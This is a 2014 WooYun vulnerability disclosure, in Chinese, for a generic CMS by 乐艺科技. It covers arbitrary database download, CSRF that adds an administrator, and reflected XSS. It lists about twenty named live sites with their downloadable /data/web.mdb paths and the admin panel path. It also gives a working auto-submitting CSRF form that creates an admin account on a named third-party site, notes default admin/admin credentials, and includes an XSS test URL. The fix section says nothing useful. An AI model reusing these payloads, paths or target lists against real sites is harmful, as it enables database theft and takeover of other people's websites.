当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-076696

漏洞标题：某通用CMS任意文件下载&添加管理csrf&反射型xss

相关厂商：乐艺科技

漏洞作者： 小邪

提交时间：2014-09-23 10:18

修复时间：2014-12-22 10:20

公开时间：2014-12-22 10:20

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-09-23： 细节已通知厂商并且等待厂商处理中
2014-09-26： 厂商已经确认，细节仅向厂商公开
2014-09-29： 细节向第三方安全合作伙伴开放
2014-11-20： 细节向核心白帽子及相关领域专家公开
2014-11-30： 细节向普通白帽子公开
2014-12-10： 细节向实习白帽子公开
2014-12-22： 细节向公众公开

简要描述：

由于存储型xss和注入的通用性不确定所以就没提交了

详细说明：

案例地址1：http://www.lerye.com/case.asp （苏州）
案例地址2：http://www.lerye.cn/case.asp （泰兴）
百度关键词：技术支持:乐艺科技
任意文件下载：/data/web.mdb
后台：/lesiure/index.asp
整理了些案例出来：
www.szshuntong.cn/data/web.mdb
www.szzel.com/data/web.mdb
www.shcwine.com/data/web.mdb
www.yunyvision.com/data/web.mdb
www.szxmjy.com/data/web.mdb
www.xiangshanmall.com/data/web.mdb
www.cipon.net/data/web.mdb
www.qmgg.com.cn/data/web.mdb
www.oulang.net/data/web.mdb
www.asieris.cn/data/web.mdb
www.lemsz.com/data/web.mdb
www.sunrous.com/data/web.mdb
www.jssgui.com/data/web.mdb
www.jsyl155.com/data/web.mdb
www.tzhpmy.com/data/web.mdb
www.sz-sjbx68.com/data/web.mdb
www.txhengrui.com/data/web.mdb
euweili.w28.mc-test.com/data/web.mdb
www.txjybg.com/data/web.mdb
www.szwsxn.com/data/web.mdb
www.szxyyt.com/data/web.mdb
www.txbjnjb.com/data/web.mdb

漏洞证明：

添加管理csrf 拿dsjscd.com/lesiure/index.asp进行测试 admin admin进去

CSRF.jpg


抓包发现未做防护

csrf2.jpg


构造利用代码：

<form method='post' action='http://dsjscd.com/lesiure/admin_admin.asp?action=save '>
        <input type='text' name='title' value='123'>
        <input type='text' name='pass' value='123'>
        <input type='text' name='act' value='add'>
        <input type='text' name='Submit' value='%E6%B7%BB%E5%8A%A0'>
</form>
<script>
	document.forms[0].submit();
</script>


csrf3.jpg


反射型xss：
拿厂商站测试：http://www.lerye.com/lesiure/error.asp?title=%B2%BB%B4%E6%D4%DA%C3%FB%CE%AA%A3%BA123+%B5%C4%D3%C3%BB%A7+%3Cscript%3Ealert%28%22xss%22%29%3C/script%3E

修复方案：

你懂的

版权声明：转载请注明来源 小邪@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2014-09-26 14:52

厂商回复：

最新状态：

暂无